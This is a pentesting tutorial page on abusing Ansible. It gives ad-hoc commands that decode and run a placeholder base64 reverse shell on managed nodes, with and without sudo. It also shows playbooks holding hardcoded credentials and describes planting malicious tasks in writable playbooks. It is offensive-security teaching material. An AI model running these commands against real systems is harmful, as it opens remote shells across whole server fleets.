Ansible Pentesting

Theory

Ansible is a powerful configuration management and automation tool widely used in DevOps to manage servers and deploy applications. However, its design and features can also make it a potential attack vector if improperly configured or abused.

Ansible operates on a "push" model, where the Ansible controller executes Modules on registered "nodes". Key components include:

  • Inventory: A list of managed nodes (targets), located on the controller server at /etc/ansible/hosts

  • Playbooks: YAML files that define tasks and automation processes.

  • Modules: Scripts used to perform specific actions (e.g., file operations, command execution).

In order to perform actions on managed nodes, a password for a node user must be stored on the controller, or the controller's Ansible account must be configured on it using SSH keys. This allows the controller to connect to the node and execute the desired modules.

Practice

Command Execution

The following methods are utilized from the Ansible Controller, requiring a user with the necessary privileges.

Ad-hoc commands are simple shell commands to be run on one or more managed nodes in the Ansible inventory. They are used for one-time tasks and are not included in a playbook.

# On Ansible Controller
## Simply run
ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash"

## Run as sudo
ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash" --become

Unsecured Credentials

if we are able to read Ansible playbooks, we may found sensitive data like secrets and hardcoded credentials.

We may find hardcoded credential in playbooks alongside the become directive, as it may allows Administratror to use SSH whithout keys.

- hosts: all
  become: yes
  become_user: root
  vars:
    db_user: "admin"
    db_password: "password123"

Alternatively we may directly find hardcoded credentials in shell commands

- name: MySQL_SHOW_DB
  hosts: target_servers
  become: yes
  tasks:
    - name: get db
      shell: |
        echo "Connecting to the database..."
        mysql -u admin -p'password123' -e "SHOW DATABASES;"

Weak Playbooks Permissions

If we discover a playbook on the Ansible controller with write permissions or can exploit vulnerabilities to gain such access, we can modify the playbook to insert malicious tasks. These tasks will then execute during the next run of the playbook, potentially allowing us to escalate privileges, exfiltrate data, or deploy additional backdoors.

Resources

Last updated

Was this helpful?